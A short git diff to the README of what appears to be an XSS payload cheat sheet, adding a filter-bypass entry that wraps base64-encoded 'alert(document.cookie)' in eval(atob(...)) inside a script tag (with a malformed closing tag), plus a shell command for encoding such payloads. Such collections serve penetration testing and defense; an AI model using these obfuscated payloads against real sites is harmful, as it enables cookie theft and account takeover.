diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index f17abf3..3c4a24e 100644
--- a/XSS Injection/README.md	
+++ b/XSS Injection/README.md	
@@ -663,6 +663,12 @@ You can bypass a single quote with ' in an on mousedown event handler
 Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777`
 http://www.geektools.com/cgi-bin/ipconv.cgi
 
+```javascript
+<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
+```
+
+Base64 encoding your XSS payload with linux command: echo -n "alert(document.cookie)" | base64
+
 ### Bypass parenthesis for string
 
 ```javascript